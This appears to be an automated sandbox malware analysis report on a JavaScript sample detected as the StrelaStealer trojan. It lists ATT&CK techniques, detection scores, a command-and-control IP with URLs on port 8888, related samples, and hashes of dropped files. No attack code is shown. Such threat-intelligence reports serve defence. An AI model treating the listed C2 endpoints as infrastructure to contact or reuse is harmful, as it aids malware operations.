Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
23742400475728052.js	13%	Virustotal		Browse
23742400475728052.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/5	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/pacem	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/q	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2600371165.000001D363CBF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/5	net.exe, 00000007.00000002.1373659683.000001E773EF2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1373659683.000001E773EB8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1373659683.000001E773EE7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1373659683.000001E773EF2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/q	net.exe, 00000007.00000002.1373659683.000001E773EF2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pacem	net.exe, 00000007.00000002.1373659683.000001E773EB8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1370111160.000001D369400000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588948
Start date and time:	2025-01-11 07:30:30 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	23742400475728052.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 54.224.241.105, 18.213.11.84, 34.237.241.83, 50.16.47.176, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 4.175.87.197, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:31:26	API Interceptor	26x Sleep call for process: powershell.exe modified
01:31:30	API Interceptor	1x Sleep call for process: net.exe modified
01:31:30	API Interceptor	2x Sleep call for process: svchost.exe modified
01:31:38	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	91263130946456752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30011267761667014058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1194187433219817322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	187637497286212310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24233226922003220721.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1194187433219817322.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	91263130946456752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1418132746179806359.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2449715899306403241.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	131612862076531181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	30011267761667014058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26641100881772821841.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807553984427029
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9n:0J7adfWuK0p/QDfKoPeuP0aN4fqoxY
MD5:	9CF5B1D8EF0EA7CA181C7FA38D8423EA
SHA1:	BF7729E9DFBD5CD4A7E386CF0214749C3716C421
SHA-256:	6BDD01E37AC4FBC8771B7DC871DC04028CAF85E7F14CE0535FF88F03EE86A3FB
SHA-512:	EB22AE2A603901B7CE7F96665AE3349D60C2BB206072E7897B8F678E51ED3F0E2939AF32BBB7C6C945F601B23A1C28A6577206FC9FCBA8D0F00BBFBA4BE3BFBD
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x77bdc35d, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880839318514731
Encrypted:	false
SSDEEP:	1536:fSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:fazaPv4V4fXq2UaB
MD5:	18FBD1227123B23D36DE45349ECF40EF
SHA1:	8095A6075606DF0C09FA63F626E733330F17E24B
SHA-256:	60A5E03947EE985F56D559FA1E9170DD5AC3114952A0F6902D891304F1EA3A43
SHA-512:	63D3866F25E82484B233F0BD61CA84D9AC0660F7F91B338B4D18C0AE8CD5CE7DD97AD4BDE2878896B29CB12792E148294AE26F94F1EB1748F03B1DB5F8FB8B1D
Malicious:	false
Preview:	w..]... ...............X\...;...{......................X............{.......}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{..................................S........}.2..................[......}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08104998798382805
Encrypted:	false
SSDEEP:	3:MUYeNol+mXlVG0+q2Iqe8lGTlXallNTt/4ll/Q6beV/:rzNo8UGE8lGTQHtc6V
MD5:	BC2A46937016EE711202E13357EDF913
SHA1:	5BC269436A6FAF356CB7F81B61DA0CCF6AAB849B
SHA-256:	6C2DA24F4AA50A32D2A8B7501F0A13728ABE5679102E7C0143E54B93228A5506
SHA-512:	9C20153F9940DE816BF78062C696DB47775B2E58184BC10CAAC2F1B3DFC5D2BFB1071872F511FE9C59E3017AC2AAC6F9B72D96D9D38F7AF409FC531B000FD526
Malicious:	false
Preview:	.J.......................................;...{.......}.......{...............{.......{....:......{...................[......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.16224766495407
Encrypted:	false
SSDEEP:	6:iOnsEFGK39+q2PFi2nKuAl9OmbnIFUtFsqJZmwrsq9VkwOFi2nKuAl9OmbjLJ:7nsE8bvdZHAahFUtFsqJ/rsqD5wZHAae
MD5:	BAAD62AD8983F906DAEDFCC1778D0E23
SHA1:	7A690A18078004477C643B4E84FF8C8CAF44B0BA
SHA-256:	96106019A4F43908BC27BCABCD1C60F0A43BE53294E0C6DFC5FD00EB21201D99
SHA-512:	C1819FBA993328B5A1D0B01DF541E61609BADB2DC31394C848D7EF9BC84E0CE95DC662131BA768A19C25CFB95555F9727D1CF4D0B34188C2FD1E2876B1512001
Malicious:	false
Preview:	2025/01/11-01:31:30.368 c78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:31:30.371 c78 Recovering log #3.2025/01/11-01:31:30.371 c78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.16224766495407
Encrypted:	false
SSDEEP:	6:iOnsEFGK39+q2PFi2nKuAl9OmbnIFUtFsqJZmwrsq9VkwOFi2nKuAl9OmbjLJ:7nsE8bvdZHAahFUtFsqJ/rsqD5wZHAae
MD5:	BAAD62AD8983F906DAEDFCC1778D0E23
SHA1:	7A690A18078004477C643B4E84FF8C8CAF44B0BA
SHA-256:	96106019A4F43908BC27BCABCD1C60F0A43BE53294E0C6DFC5FD00EB21201D99
SHA-512:	C1819FBA993328B5A1D0B01DF541E61609BADB2DC31394C848D7EF9BC84E0CE95DC662131BA768A19C25CFB95555F9727D1CF4D0B34188C2FD1E2876B1512001
Malicious:	false
Preview:	2025/01/11-01:31:30.368 c78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:31:30.371 c78 Recovering log #3.2025/01/11-01:31:30.371 c78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.1289918688947775
Encrypted:	false
SSDEEP:	6:iOns0CGN+q2PFi2nKuAl9Ombzo2jMGIFUtFs0QbWZmwrs0Q+VkwOFi2nKuAl9OmT:7ns0j+vdZHAa8uFUtFs0QbW/rs0Q+V5n
MD5:	AE0E4B930E703B5F5FA0F2A796D6FB7B
SHA1:	0174D9C2C6643D0330100EC17818147A94C223F0
SHA-256:	14096757CA34382EDBD76784F4580C32B3CF1AF289AB02F53E745C840ECE02D7
SHA-512:	941B9E3AE5B3D77CFE732C7CA936A77A4932C22371361A3AB622877C8F4EAA232E851907B838CDF6FF69A74C324D0AFE6CBF1442E374A1D241DA184C43F652B1
Malicious:	false
Preview:	2025/01/11-01:31:30.473 1d3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:31:30.475 1d3c Recovering log #3.2025/01/11-01:31:30.475 1d3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.1289918688947775
Encrypted:	false
SSDEEP:	6:iOns0CGN+q2PFi2nKuAl9Ombzo2jMGIFUtFs0QbWZmwrs0Q+VkwOFi2nKuAl9OmT:7ns0j+vdZHAa8uFUtFs0QbW/rs0Q+V5n
MD5:	AE0E4B930E703B5F5FA0F2A796D6FB7B
SHA1:	0174D9C2C6643D0330100EC17818147A94C223F0
SHA-256:	14096757CA34382EDBD76784F4580C32B3CF1AF289AB02F53E745C840ECE02D7
SHA-512:	941B9E3AE5B3D77CFE732C7CA936A77A4932C22371361A3AB622877C8F4EAA232E851907B838CDF6FF69A74C324D0AFE6CBF1442E374A1D241DA184C43F652B1
Malicious:	false
Preview:	2025/01/11-01:31:30.473 1d3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:31:30.475 1d3c Recovering log #3.2025/01/11-01:31:30.475 1d3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3ec6a4ef-0576-4927-a149-246dd03c6571.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.954082611044621
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqdVdsBdOg2HXcaq3QYiubpP7E4T3y:Y2sRdsiedMHW3QYhbd7nby
MD5:	E51919CF6B83EC302A668416114EF7A3
SHA1:	4CA63AE7F716564CB5E8799B38F3A1FFF84AC270
SHA-256:	B48B4959F637D402EB9F7ED1D3C7F4C5B5193B1AE631A44C3FBBB81D6BB5AD57
SHA-512:	8FDB2614F60410A1D0883EA73777D904130AB4D1243DDADA6A63390D855558F0139F0AE1F7A8B3322C833A26979F03806A8B3E84DB01B02F7613EF2E13555678
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381137102110812","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129148},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.954082611044621
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqdVdsBdOg2HXcaq3QYiubpP7E4T3y:Y2sRdsiedMHW3QYhbd7nby
MD5:	E51919CF6B83EC302A668416114EF7A3
SHA1:	4CA63AE7F716564CB5E8799B38F3A1FFF84AC270
SHA-256:	B48B4959F637D402EB9F7ED1D3C7F4C5B5193B1AE631A44C3FBBB81D6BB5AD57
SHA-512:	8FDB2614F60410A1D0883EA73777D904130AB4D1243DDADA6A63390D855558F0139F0AE1F7A8B3322C833A26979F03806A8B3E84DB01B02F7613EF2E13555678
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381137102110812","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129148},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2294831251857445
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVT5Re/:wshFT0h7cZb2EVKZPEANcGIK5EVT5Re/
MD5:	AAEAD4C5A505269C6DA8D95867B0186F
SHA1:	B47B662D9DE56736778B1A36E475CF983C782280
SHA-256:	58318E8BBBD34390B6C104414A5633FA2E7FA64AE86C6C64D9A794D79DF200C1
SHA-512:	2C8D0D246CA737CCCD443458183543DE809A42CE10D72CBC8B55B13F55DEA511B8C6C50B1F460B82B9A9F9B80F88C4F208BB169EC28AEC3A038426019177D82A
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.091330538184164
Encrypted:	false
SSDEEP:	6:iOnssN+q2PFi2nKuAl9OmbzNMxIFUtFssWSmWZmwrssWSNVkwOFi2nKuAl9OmbzE:7nsw+vdZHAa8jFUtFssWXW/rssWiV5w9
MD5:	4942BA0D831C72F9435BCCA135589E81
SHA1:	ACD0AF5DB5CC8538DF66C2E99AF3ECB4DBB9744E
SHA-256:	05AE2CC37DCBEB5EE571EBB2A93D28C560F6BEEC57865DA8496C111905AEC91C
SHA-512:	117ADEF20743863680274609694515E4D2FBE427D0511F1A0326850E4B859077B497CE47497CE64369CFC1ADD73DB6B415D1AF7A285FE5CC785FC8044E72C961
Malicious:	false
Preview:	2025/01/11-01:31:30.701 1d3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:31:30.703 1d3c Recovering log #3.2025/01/11-01:31:30.703 1d3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.091330538184164
Encrypted:	false
SSDEEP:	6:iOnssN+q2PFi2nKuAl9OmbzNMxIFUtFssWSmWZmwrssWSNVkwOFi2nKuAl9OmbzE:7nsw+vdZHAa8jFUtFssWXW/rssWiV5w9
MD5:	4942BA0D831C72F9435BCCA135589E81
SHA1:	ACD0AF5DB5CC8538DF66C2E99AF3ECB4DBB9744E
SHA-256:	05AE2CC37DCBEB5EE571EBB2A93D28C560F6BEEC57865DA8496C111905AEC91C
SHA-512:	117ADEF20743863680274609694515E4D2FBE427D0511F1A0326850E4B859077B497CE47497CE64369CFC1ADD73DB6B415D1AF7A285FE5CC785FC8044E72C961
Malicious:	false
Preview:	2025/01/11-01:31:30.701 1d3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:31:30.703 1d3c Recovering log #3.2025/01/11-01:31:30.703 1d3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438582774251332
Encrypted:	false
SSDEEP:	384:yejci5GciBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:0wurVgazUpUTTGt
MD5:	929ABC5337CC8DA3B3C7BF4C35A1EFD7
SHA1:	168C849A9D109B5A443928A845FE365D73DAC80A
SHA-256:	38CD75A31F2CEFBDF0E740125703482325B5032D5552AF7F94A874119AD31809
SHA-512:	3CBC99937212EBCFEA8CFECD0D491F059486E5FBC93A3BBA48C6F9D6D97D37010216A779C3A9948BC4B39E4957C5E7B8713E681D1DE56604081657E411F170CA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7757097426133823
Encrypted:	false
SSDEEP:	48:7Myp/E2ioyVKioy5oWoy1CUoy1eKOioy1noy1AYoy1Wioy1hioybioycoy1noy1y:7lpjuKJ1XKQtYb9IVXEBodRBkJd
MD5:	14B19CFE9E97CBC0C9B825DFDE392A70
SHA1:	95A3573CFE938F6C2A029056FF0C9B0A7CE2E82A
SHA-256:	E6BD13A1C91C56033456AC6388A11D4C8AE7E98AEF96AE81F2099EB68D7A55DD
SHA-512:	B730129B9935E69FD59CECEAFDA02F9FE88EE1706575C1556284E0AB0F05540FE9F0FF075F096085267E21CE471DF075BBC201D4C675281F7B1388AEFB92D83E
Malicious:	false
Preview:	.... .c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
